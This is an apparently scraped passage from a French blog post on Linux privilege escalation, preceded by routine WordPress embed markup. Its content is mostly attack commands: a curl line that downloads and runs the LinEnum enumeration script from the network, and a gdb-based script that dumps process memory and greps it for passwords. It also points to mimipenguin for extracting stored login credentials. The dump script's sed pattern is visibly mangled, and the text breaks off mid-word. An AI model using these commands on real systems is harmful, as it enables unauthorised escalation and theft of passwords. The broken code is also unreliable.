1.0Sécuriser votre sitehttps://www.searchevolution.com/securityGermainhttps://www.searchevolution.com/security/author/germain/rich600338<blockquote class="wp-embedded-content" data-secret="f7h9miWUin"><a href="https://www.searchevolution.com/security/2021/05/23/escalade-de-privileges-avec-linux/">Escalade de privilèges avec Linux</a></blockquote><iframe sandbox="allow-scripts" security="restricted" src="https://www.searchevolution.com/security/2021/05/23/escalade-de-privileges-avec-linux/embed/#?secret=f7h9miWUin" width="600" height="338" title="« Escalade de privilèges avec Linux » — Sécuriser votre site" data-secret="f7h9miWUin" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe><script type="text/javascript"> /* <![CDATA[ */ /*! This file is auto-generated */ !function(d,l){"use strict";l.querySelector&&d.addEventListener&&"undefined"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!/[^a-zA-Z0-9]/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),o=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),c=new RegExp("^https?:$","i"),i=0;i<o.length;i++)o[i].style.display="none";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute("style"),"height"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):"link"===t.message&&(r=new URL(s.getAttribute("src")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",function(){for(var e,t,s=l.querySelectorAll("iframe.wp-embedded-content"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute("data-secret"))||(t=Math.random().toString(36).substring(2,12),e.src+="#?secret="+t,e.setAttribute("data-secret",t)),e.contentWindow.postMessage({message:"ready",secret:t},"*")},!1)))}(window,document); /* ]]> */ </script> Voir l’information qui peut nous permettre d’escalader nos privilèges vers un shell administrateur # curl -o /LinEnum https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh # bash ./linEnum -r /tmp/report Vérifier les protections utilisés https://raw.githubusercontent.com/germainm/check_linux_defenses/main/enumerate_linux_defenses.sh Extraire la mémoire d’un processus à la recherche de mots de passe #!/bin/bash #./dump-memory.sh <PID> grep rw-p /proc/$1/maps     | sed -n 's/^(*)-(*) .*$/1 2/p'     | while read start stop; do     gdb --batch --pid $1 -ex     "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done ./dump-memory.sh <PID> strings *.dump | grep -i password mimipenguin peut retourver les mots de passe ( GDM password, Gnome Keyring, LightDM, VSFTPd, Apache2, OpenSSH ) Vérifier